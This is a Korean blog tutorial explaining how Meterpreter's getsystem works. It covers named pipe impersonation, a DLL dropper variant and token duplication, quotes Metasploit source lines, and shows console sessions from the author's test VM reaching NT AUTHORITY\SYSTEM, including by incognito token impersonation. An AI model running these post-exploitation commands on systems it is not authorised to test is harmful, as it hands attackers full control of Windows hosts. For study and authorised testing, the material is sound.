Privilege Escalation on Meterpreter

Meterpreter shell에서 권한상승은 어렵지 않습니다. getsystem 명령 하나면 충분하죠. 그럼 약간 궁금증이 생기게 됩니다.

“어떻게 권한 상승을 하는 것일까?”

오늘은 Meterpreter의 권한상승인 getsystem에 대해 알아볼까 합니다.

Privilege escalation using getsystem

meterpreter에선 getsystem 명령을 이용해 권한상승을 할 수 있습니다. 물론 모든 상황에서 가능한건 아니고 특정 조건이 맞아야만 가능하죠. 대신 아주 편리하게 권한 상승이 가능하다는 장점이 있습니다. (불가능한 경우 Local Exploit을 찾아야겠지요)

먼저 테스트 머신에서의 권한을 살펴보면..

meterpreter > getuid
Server username: HAHWUL\Test-Virtualbox

일반 유저 권한입니다. 유저 권한 상태로는 기능 동작에 제약이 많습니다. (대표적으로 시스템 프로그램에 migrate가 불가한다는둥..) 여기서 getsystem 명령을 주면 관리자 권한으로 가능한지 체크 후 권한 상승이 진행됩니다.

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

역시 아주 편리하네요 :)

그럼 이 getsystem 은 어떤 행위들로 동작하는걸까요?

Technique of getsystem

getsystem 의 help 페이지를 보면 알 수 있듯이 getsystem은 3가지의 기법을 사용합니다. default 로는 모든 옵션 사용이 지정되어있고, 때에 따라 직접 옵션을 줘서 사용하는게 안전하고 좋습니다.

Named Pipe Impersonation

Meterpreter는 named pipe 하나 만듭니다. 그리고 cmd를 통해 아까 만든 pipe를 실행하는 서비스를 생성하고 실행시킵니다. 재미있는점은 Meterpreter가 만든 pipe를 cmd.exe가 실행 때 , 즉 Meterpreter와 pipe가 연결되었을 때 Security context로 위장할 수 있는 기회를 가지게 됩니다.

이 서비스의 context는 시스템이고, pipe를 연결된 meterpreter가 system의 권한을 가지게 됩니다.

_snprintf_s( cServiceArgs, sizeof(cServiceArgs), MAX_PATH, "cmd.exe /c echo %s > %s", cpServiceName, cServicePipe );
// 정말 cmd.exe를 통해서 meterpreter가 만든 service에 pipe로 연결합니다
// extensions/priv/server/elevate/namedpipe.c

Named Pipe Impersonation (Dropper/Admin)

1번의 방법과 거의 유사합니다. 똑같이 pipe를 통해 권한을 얻지만 약간 다른점이 있다면 바로 권한을 얻는게 아닌 DLL 파일을 시스템에 내린 후 그것을 이용해서 권한 상승을 진행합니다. 스케쥴링을 걸어서 rundll32.exe가 drop된 dll을 실행하게 끔 구성하여 진행합니다. 다만 1번째에 비해선 좀 메리트가 많이 떨어지네요.

if( cTempPath[ strlen(cTempPath) - 1 ] == '\\' )
_snprintf_s( cServicePath, sizeof(cServicePath), MAX_PATH, "%s%s.dll", cTempPath, cpServiceName );
else
_snprintf_s( cServicePath, sizeof(cServicePath), MAX_PATH, "%s\\%s.dll", cTempPath, cpServiceName );
_snprintf_s( cServiceArgs, sizeof(cServiceArgs), MAX_PATH, "rundll32.exe %s,a /p:%s", cServicePath, cpServiceName );
_snprintf_s( cServicePipe, sizeof(cServicePipe), MAX_PATH, "\\\\.\\pipe\\%s", cpServiceName );

Reflective DLL Injection

마지막으로 Reflective DLL Injection을 이용한 Token Duplication 입니다. 일단 제약조건이 좀 많은데.. x86, 즉 32비트에만 동작 가능하고 Meterpreter shell이 Windows의 SeDebugPrivileges 권한을 가지고 있어야합니다.

동작 자체는 간단합니다. 먼저 권한 상승 코드를 가지고있는 elevator.dll를 메모리에 올리고 시스템 권한을 가진 서비스들이 이 친구를 실행하도록 유도합니다. 유도하는 과정은 Reflective DLL Injection을 이용합니다.

Injection이 성공한 순간 elevator.dll이 공격당한 서비스의 권한으로 실행되고 Meterpreter는 공격당한 서비스와 같은 권한(Token)을 가지고 행위를 수행할 수 있게됩니다.

Run getsystem

meterpreter에서 바로 실행하는 경우 기본값으로 모든 가능성에 대해 체크하고 진행하게 되어있습니다. 다만 이 방법은 떄에 따라 2번..(망할) 을 실행하게 하여 흔적을 남기게 됩니다. 오히려 1 만 실행해보고 안되면 바로 Local exploit을 찾는 것도 좋은 방법입니다.

각 technic은 -t 옵션을 통해서 지정해줄 수 있습니다. 1번이 가장 선호되죠.

meterpreter > getsystem -t 1
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getsystem -t 2
[-] priv_elevate_getsystem: Operation failed: 1053 The following was attempted:
[-] Named Pipe Impersonation (Dropper/Admin)

meterpreter > getsystem -t 3
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Token Duplication (In Memory/Admin)

성공 시 ..got system via technique 메시지가 발생합니다. 제 가상의 타겟 시스템에선 1번만 먹히네요.

PE with Meterpreter incognito

이대로 마무리하기엔 뭔가 아쉬워서 incogninto에 대한 이야기를 잠깐 할까 합니다. 이 친구도 권한 상승에 사용되며 token 탈취를 통해 권한을 올릴 수 있는 재미있는 기능입니다.

먼저 meterpreter에서 incognito를 로드해주면..

meterpreter > use incognito
Loading extension incognito...Success.

incognito 관련 기능이 meterpreter에 올라옵니다. 이때부터 list_tokens 같은 명령 사용이 가능하지요. 옵션을 보면..

meterpreter > list_tokens
Usage: list_tokens <list_order_option>

Lists all accessible tokens and their privilege level

OPTIONS:

    -g        List tokens by unique groupname
    -u        List tokens by unique username

-g와 -u 옵션으로 group, user 에 대한 unique한 토큰의 리스트를 가져올 수 있습니다. 실제로 테스트해보면..

meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
HAHWUL\Test-Virtualbox
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

위와 같이 5가지의 권한 리스트를 얻어올 수 있었습니다. 현재 권한은 유저 권한입니다.

meterpreter > getuid
Server username: HAHWUL\Test-Virtualbox

다만 여기서 impersonate_token 명령으로 NT AUTHORITY\SYSTEM 의 token을 가져오면 권한이 바뀌는 걸 알 수 있습니다. 이와 비슷한 모듈로 rev2self란 기능이 있습니다. 이 기능도 권한 상승과 관련되니 알아두시면 유용하게 사용하실 수 있습니다.

meterpreter > impersonate_token NT AUTHORITY\SYSTEM
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[-] User token NT not found
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[-] User token NT AUTHORITYSYSTEM not found
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Conclusion

요즘 여러가지를 하다보니 포스팅의 내용이 많이 저하된 것 같습니다. (그놈의 MAD Metapsloit).. 반성해야할 부분들이 많이 있네요. 시작부터 헛소리지만. 결론으로 돌아와서 권한 상승은 공격 성공 이후 아주 중요한 부분입니다. 권한이 있어야 흔적을 처리하기도 유용하고 다른 시스템으로의 접근이나 후속 공격의 정교함이 올라가게 됩니다.

오늘은 간단하게 getsystem의 원리에 대해 정리했지만 권한 상승 기법에 대해 연구하고 더 나아가 Meterpreter에 접목할 수 있다면 좀 더 재미있고 결과가 있지 않을까 싶네요.

Reference

  • https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
  • https://github.com/rapid7/meterpreter/blob/master/
  • https://github.com/rapid7/meterpreter/blob/master/source/extensions/priv/server/elevate/namedpipe.c